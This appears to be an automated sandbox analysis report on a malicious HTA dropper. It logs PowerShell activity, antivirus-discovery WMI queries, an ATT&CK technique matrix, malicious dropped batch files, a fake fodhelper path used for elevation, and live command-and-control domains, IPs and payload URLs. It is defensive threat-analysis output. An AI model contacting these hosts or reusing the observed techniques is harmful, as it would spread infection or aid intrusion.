Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression.FileSystem\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.FileSystem.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.746.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation
Source: C:\_nczuwk7_H\_nczuwk7_H.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Office.Interop.Outlook\15.0.0.0__71e9bce111e9429c\Microsoft.Office.Interop.Outlook.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\office\15.0.0.0__71e9bce111e9429c\OFFICE.DLL VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation

Source: C:\_nczuwk7_H\_nczuwk7_H.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\_nczuwk7_H\_nczuwk7_H.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	12 Registry Run Keys / Startup Folder	12 Process Injection	131 Masquerading	OS Credential Dumping	21 Security Software Discovery	Remote Services	1 Email Collection	1 Encrypted Channel	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	2 PowerShell	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	1 Disable or Modify Tools	LSASS Memory	2 Virtualization/Sandbox Evasion	Remote Desktop Protocol	Data from Removable Media	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	12 Registry Run Keys / Startup Folder	1 Modify Registry	Security Account Manager	2 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 DLL Side-Loading	2 Virtualization/Sandbox Evasion	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	15 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	12 Process Injection	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Abuse Elevation Control Mechanism	Cached Domain Credentials	25 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Obfuscated Files or Information	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Software Packing	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Timestomp	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	1 DLL Side-Loading	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
copia111224mp.hta	0%	ReversingLabs

Dropped Files

Source	Detection	Scanner	Label
C:\Users\Public\computer_zayqgx5_K.cmd	100%	Avira	BAT/Runner.VPF
C:\Wins32Update_\up.cmd	100%	Avira	BAT/Runner.VPF
C:\Users\Public\computer_nczuwk7_Hy.cmd	100%	Avira	BAT/Runner.VPF
C:\Users\Public\computer_nczuwk7_H.cmd	100%	Avira	BAT/Runner.VPF
C:\_nczuwk7_H\_nczuwk7_H.ia.a1	100%	Avira	HEUR/AGEN.1328254
C:\Users\Public\computer_zayqgx5_Ky.cmd	100%	Avira	BAT/Runner.VPF
C:\Windows \System32\fodhelper.exe	3%	ReversingLabs
C:\_nczuwk7_H\MSVCR100.dll (copy)	0%	ReversingLabs
C:\_nczuwk7_H\MSVCR100.txt	0%	ReversingLabs
C:\_nczuwk7_H\WebView2Loader.dll (copy)	0%	ReversingLabs
C:\_nczuwk7_H\WebView2Loader.txt	0%	ReversingLabs
C:\_nczuwk7_H\_nczuwk7_H.exe (copy)	0%	ReversingLabs
C:\_nczuwk7_H\_nczuwk7_Hi7.exe (copy)	0%	ReversingLabs
C:\_nczuwk7_H\exe.txt	0%	ReversingLabs
C:\_nczuwk7_H\i7.txt	0%	ReversingLabs
C:\_nczuwk7_H\libeay32.dll	0%	ReversingLabs
C:\_nczuwk7_H\ssleay32.dll	0%	ReversingLabs

Source	Detection	Scanner	Label
http://159.100.18.13/ps/index14.php	0%	Avira URL Cloud	safe
https://contablefea.shop/a/08/150822/au/au	0%	Avira URL Cloud	safe
https://contablegbv.shop/ZRALJZLWYNP/PNQRJTRMIBc	0%	Avira URL Cloud	safe
https://contablegbv.shop/ZRALJZLWYNP/PNQRJTRMIBQS?	0%	Avira URL Cloud	safe
https://contablegbv.shop/ZRALJZLWYNP/PNQRJTRMIBTTC:	0%	Avira URL Cloud	safe
https://contablegbv.shop/ZRALJZLWYNP/PNQRJTRMIBDMC	0%	Avira URL Cloud	safe
http://159.100.18.13/ldht/index26.php	0%	Avira URL Cloud	safe
https://contablegbv.shop/ZRALJZLWYNP/PNQRJTRMIB	0%	Avira URL Cloud	safe
https://contablegbv.shop/ZRALJZLWYNP/PNQRJTRMIBOS	0%	Avira URL Cloud	safe
https://contablefea.shop/a/08/150822/up/up	0%	Avira URL Cloud	safe
https://contablegbv.shop/ZRALJZLWYNP/PNQRJTRMIB.Z	0%	Avira URL Cloud	safe
http://159.100.18.13/INFB/index14.php	0%	Avira URL Cloud	safe
https://contablegbv.shop/ZRALJZLWYNP/PNQRJTRMIBfH	0%	Avira URL Cloud	safe
https://contablebar.shop/ll2310/at3	0%	Avira URL Cloud	safe
https://contablegbv.shop/z	0%	Avira URL Cloud	safe
https://contablegbv.shop/ZRALJZLWYNP/PNQRJTRMIBq?	0%	Avira URL Cloud	safe
http://crl.microso	0%	Avira URL Cloud	safe
http://93.127.200.211/a/08/150822/au/auout/anexo.zip	0%	Avira URL Cloud	safe
https://contablegbv.shop/ZRALJZLWYNP/PNQRJTRMIBH	0%	Avira URL Cloud	safe
http://www.quovadis.bm0	0%	Avira URL Cloud	safe
http://159.100.18.13/ps1/index14.php	0%	Avira URL Cloud	safe
https://ocsp.quovadisoffshore.com0	0%	Avira URL Cloud	safe
https://contablegbv.shop/	0%	Avira URL Cloud	safe
http://93.127.200.211/a/08/150822/au/auout/index.php?CHLG	0%	Avira URL Cloud	safe
https://contablegbv.shop/ZRALJZLWYNP/PNQRJTRMIB9Z	0%	Avira URL Cloud	safe
https://contablegbv.shop/ZRALJZLWYNP/PNQRJTRMIB/S	0%	Avira URL Cloud	safe
https://contablegbv.shop/B	0%	Avira URL Cloud	safe
https://contablegbv.shop/ZRALJZLWYNP/PNQRJTRMIBqS	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
contablegbv.shop	159.100.18.13	true	true	unknown
contablebar.shop	159.100.18.13	true	true	unknown
contablefea.shop	93.127.200.211	true	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://contablegbv.shop/ZRALJZLWYNP/PNQRJTRMIB	true	Avira URL Cloud: safe	unknown
http://159.100.18.13/ldht/index26.php	true	Avira URL Cloud: safe	unknown
http://159.100.18.13/ps/index14.php	true	Avira URL Cloud: safe	unknown
https://contablefea.shop/a/08/150822/up/up	true	Avira URL Cloud: safe	unknown
https://contablefea.shop/a/08/150822/au/au	true	Avira URL Cloud: safe	unknown
https://contablebar.shop/ll2310/at3	true	Avira URL Cloud: safe	unknown
http://159.100.18.13/INFB/index14.php	true	Avira URL Cloud: safe	unknown
http://93.127.200.211/a/08/150822/au/auout/anexo.zip	true	Avira URL Cloud: safe	unknown
http://159.100.18.13/ps1/index14.php	true	Avira URL Cloud: safe	unknown
http://93.127.200.211/a/08/150822/au/auout/index.php?CHLG	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://contablegbv.shop/ZRALJZLWYNP/PNQRJTRMIBQS?	mshta.exe, 00000000.00000002.154021662792.0000000002F6E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.152803556209.0000000002F72000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contablegbv.shop/ZRALJZLWYNP/PNQRJTRMIBDMC	mshta.exe, 00000000.00000002.154021662792.0000000002FC6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.152803023729.0000000002FC8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contablegbv.shop/ZRALJZLWYNP/PNQRJTRMIBTTC:	mshta.exe, 00000000.00000003.152803023729.0000000002FEF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000017.00000002.153216829786.0000000004FC8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contablegbv.shop/ZRALJZLWYNP/PNQRJTRMIBc	mshta.exe, 00000000.00000003.152803023729.0000000002FE7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
